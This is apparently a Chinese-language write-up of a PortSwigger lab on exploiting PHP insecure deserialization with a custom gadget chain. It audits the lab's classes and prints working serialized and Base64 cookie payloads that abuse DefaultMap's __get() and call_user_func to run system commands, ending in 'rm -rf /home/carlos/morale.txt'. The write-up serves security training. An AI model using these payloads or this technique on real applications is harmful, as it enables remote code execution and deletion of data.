专家-自定义小工具链-PHP反序列化
# 实验室:开发用于PHP反序列化的自定义小工具链
# 题目
此实验室使用基于序列化的会话机制。通过部署自定义小工具链,你可以利用其不安全的反序列化来实现远程代码执行。若要解决实验室问题,请从 Carlos 的家目录中删除morale.txt
文件。
你可以使用以下凭据登录到自己的帐户:wiener:peter
提示
有时,你可以在文件名后面附加波浪号(~
)来读取源代码,以检索编辑器生成的备份文件。
- name: 实验室-专家
desc: 开发用于PHP反序列化的自定义小工具链 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 实操
# 开始实验
点击 “ACCESS THE LAB” 进入实验室。
一个购物站点。
老规矩,登录并捕获请求数据包,找到 Cookie 中经过加密的值。
解码之后是一段文本,正是 PHP 序列化对象。
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"k3v6lcvo2anz3pgymkv9z1es7z1ria7n";}
查看站点地图,发现/cgi-bin/libs/CustomTemplate.php
文件。
根据题目中的提示,在文件后面添加波浪号/cgi-bin/libs/CustomTemplate.php~
即可访问源代码。
# 代码审计
CustomTemplate
类,拥有三个属性。
- 由于魔术方法
__construct()
的存在,在创建该对象时,属性值desc
会被赋值为一个Description
对象,属性值default_desc_type
会被赋值为创建对象时所传递的值(默认为HTML_DESC
),然后调用build_product()
函数 - 由于魔术方法
__wakeup()
的存在,反序列化时也会自动调用build_product()
函数 build_product()
函数中的程序会创建一个Product
对象,并将default_desc_type
和desc
参数传递给构造函数
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Product
类,拥有一个属性。
- 由于魔术方法
__construct()
的存在,在创建该对象时,会将this->desc
赋值为$desc->$default_desc_type
- 如果你学过 Python,那么这个操作看起来就像是
self.desc = desc.default_desc_type
而此时,由build_product()
程序传递过来的$desc
是一个Description
对象,而default_desc_type
则是字符串HTML_DESC
。
相当于Description->HTML_DESC
,也就是获取该对象中的 HTML_DESC 属性值,并赋值给当前对象的$this->desc
变量。
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
2
3
4
5
6
7
8
Description
类,拥有两个属性,用于存储文本。
其实这几个类的核心功能就是build_product()
函数,它会获取Description
中的文本内容。
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
2
3
4
5
6
7
8
9
10
DefaultMap
类,以上程序中并没有直接用到,应该是解题的关键。
- 由于魔术方法
__get()
的存在,当你尝试读取该对象中一个无法访问(被设置为私有)或不存在的属性时,会调用call_user_func()
函数 call_user_func()
函数是 PHP 的一个内置函数,可用于调用另一个函数
如果你这样使用:call_user_func('system', 'ls')
,相当于调用system('ls')
。
巧了,call_user_func
的两个参数都是用户可控的。
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>
2
3
4
5
6
7
8
9
10
11
12
13
# 魔术方法__get()测试
来看看魔术方法__get()
具体是怎么运作的。
这是一段来自这篇文章 (opens new window)的示例代码,我对其进行了一点小小的修改:
<?php
class Person
{
private $name;
private $age;
function __construct($name="", $age=1)
{
$this->name = $name;
$this->age = $age;
}
/**
* 在类中添加__get()方法,在直接获取属性值时自动调用一次,以属性名作为参数传入并处理
* @param $propertyName
*
* @return int
*/
public function __get($propertyName)
{
if ($propertyName == "age") {
if ($this->age > 30) {
return $this->age - 10;
} else {
return $this->$propertyName;
}
} else {
return $this->$propertyName;
}
}
}
$Person = new Person("小明", 60); // 通过Person类实例化的对象,并通过构造方法为属性赋初值
echo "姓名:" . $Person->name . "<br>"; // 直接访问私有属性name,自动调用了__get()方法可以间接获取
echo "年龄:" . $Person->age . "<br>"; // 自动调用了__get()方法,根据对象本身的情况会返回不同的值
// 访问一个不存在的属性值
echo "年龄:" . $Person->abc . "<br>";
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
可以看到,当访问对象中一个不存在属性值abc
时,位于22
行的return
代码被执行了,说明触发了__get()
。
# 测试DefaultMap
代码:
- 在创建
DefaultMap
对象时,将$this->callback
设置为字符串 “system” - 然后访问一个不存在的属性值 “whoami”
- 由于
__get()
的存在,会调用函数call_user_func('system', whoami)
从而造成代码执行。
<?php
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
$default = new DefaultMap('system');
$default->whoami;
echo '<br><br><br>';
echo serialize($default);
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
成功执行了命令whoami
,这是生成的序列化对象:
- 由于
private
私有属性的存在,序列化时会产生不可见字符 - 此处的不可见字符用
*
来替代,实际利用过程中需要进行替换
O:10:"DefaultMap":1:{s:20:"*DefaultMap*callback";s:6:"system";}
修改源代码,输出 Base64 编码后的序列化对象。
echo base64_encode(serialize($default));
解码看看,存在不可见字符00
,一般的文本编辑器根本无法保存。
你可以使用扩展 “Hackvertor” 来进行编码和解码,它可以很好的保留不可见字符。
# 测试CustomTemplate
保存并运行以下 PHP 代码,用于生成一个CustomTemplate
序列化对象:
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
$a = new CustomTemplate();
$str = base64_encode((serialize($a)));
echo $str;
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
运行以上程序之后,获得一段经过编码的序列化对象:
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czo5OiJIVE1MX0RFU0MiO3M6MjA6IgBDdXN0b21UZW1wbGF0ZQBkZXNjIjtPOjExOiJEZXNjcmlwdGlvbiI6Mjp7czo5OiJIVE1MX0RFU0MiO3M6NTY6IjxwPlRoaXMgcHJvZHVjdCBpcyA8Ymxpbms+U1VQRVI8L2JsaW5rPiBjb29sIGluIGh0bWw8L3A+IjtzOjk6IlRFWFRfREVTQyI7czoyODoiVGhpcyBwcm9kdWN0IGlzIGNvb2wgaW4gdGV4dCI7fX0=
解码后看起来像这样:
- 不可见字符使用
*
来替代
O:14:"CustomTemplate":2:{s:33:"*CustomTemplate*default_desc_type";s:9:"HTML_DESC";s:20:"*CustomTemplate*desc";O:11:"Description":2:{s:9:"HTML_DESC";s:56:"<p>This product is <blink>SUPER</blink> cool in html</p>";s:9:"TEXT_DESC";s:28:"This product is cool in text";}}
如果在创建对象时,将默认的 “HTML_DESC” 修改为 “TEXT_DESC” 会如何?
$a = new CustomTemplate('TEXT_DESC');
序列化对象的default_desc_type
属性值会被同步修改为 “TEXT_DESC”。
desc
是一个Description
对象,default_desc_type
是文本 “HTML_DESC”,意思是获取Description->HTML_DESC
- 如果
default_desc_type
是 “TEXT_DESC”,那就是获取Description->TEXT_DESC
O:14:"CustomTemplate":2:{s:33:"*CustomTemplate*default_desc_type";s:9:"TEXT_DESC";s:20:"*CustomTemplate*desc";O:11:"Description":2:{s:9:"HTML_DESC";s:56:"<p>This product is <blink>SUPER</blink> cool in html</p>";s:9:"TEXT_DESC";s:28:"This product is cool in text";}}
不可见字符真烦人。
# 结合DefaultMap-1
那如果,我将desc
篡改为对象DefaultMap
,并将default_desc_type
改为 “whoami”,是不是就相当于获取DefaultMap->whoami
呢?
这会造成代码执行吗?
O:14:"CustomTemplate":2:{s:33:"*CustomTemplate*default_desc_type";s:6:"whoami";s:20:"*CustomTemplate*desc";O:10:"DefaultMap":1:{s:20:"*DefaultMap*callback";s:6:"system";}}
说试就试,对以上 PHP 恶意序列化对象进行 Base64 编码(记得加上不可见字符)。
然后对这段 Base64 值进行反序列化:
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
// $a = new CustomTemplate();
// $str = base64_encode((serialize($a)));
$b = unserialize(base64_decode('TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czo2OiJ3aG9hbWkiO3M6MjA6IgBDdXN0b21UZW1wbGF0ZQBkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjIwOiIARGVmYXVsdE1hcABjYWxsYmFjayI7czo2OiJzeXN0ZW0iO319'));
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
成功运行命令whoami
,哦?哦!
# 结合DefaultMap-2
如果我将default_desc_type
改为 “ipconfig /all” 呢?相当于访问DefaultMap->ipconfig /all
属性,其中的空格会不会造成错误呢?
O:14:"CustomTemplate":2:{s:33:"*CustomTemplate*default_desc_type";s:13:"ipconfig /all";s:20:"*CustomTemplate*desc";O:10:"DefaultMap":1:{s:20:"*DefaultMap*callback";s:6:"system";}}
编码。
反序列化:
<?php
......省略
$b = unserialize(base64_decode('TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoxMzoiaXBjb25maWcgL2FsbCI7czoyMDoiAEN1c3RvbVRlbXBsYXRlAGRlc2MiO086MTA6IkRlZmF1bHRNYXAiOjE6e3M6MjA6IgBEZWZhdWx0TWFwAGNhbGxiYWNrIjtzOjY6InN5c3RlbSI7fX0='));
?>
2
3
4
5
成功执行命令ipconfig /all
,空格不会造成错误!
# 最终
修改default_desc_type
为 “rm -rf /home/carlos/morale.txt”,以满足题目要求:
O:14:"CustomTemplate":2:{s:33:"*CustomTemplate*default_desc_type";s:30:"rm -rf /home/carlos/morale.txt";s:20:"*CustomTemplate*desc";O:10:"DefaultMap":1:{s:20:"*DefaultMap*callback";s:6:"system";}}
Base64 编码和 URL 编码:
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czozMDoicm0gLXJmIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0IjtzOjIwOiIAQ3VzdG9tVGVtcGxhdGUAZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ%3d%3d
覆盖原有 Cookie,刷新网页。
攻击成功,实验完成。
# 个人废话
我居然没看答案做出来了!!!
我没看答案!!!
噢噢噢噢噢噢!!!
从早上一直奋战到傍晚,我花了 7 个小时左右的时间来完成这个实验室。当我完成之后,我一瞬间充满了满足感。
(大佬们别骂了别骂了,我是个废物,能不看答案做出来已经很不错了)
完成实验的一小步,个人代审的一大步。
# 后续改进
由于私有属性值(private)带有不可见字符,这在编码时很烦人。
所以我试图将其转变为公有属性值(public),看看是否可以用于完成实验:
- 属性值长度也要改
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:30:"rm -rf /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
编码后:
TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MTc6ImRlZmF1bHRfZGVzY190eXBlIjtzOjMwOiJybSAtcmYgL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czo4OiJjYWxsYmFjayI7czo2OiJzeXN0ZW0iO319Cg%3d%3d
经过测试,可以!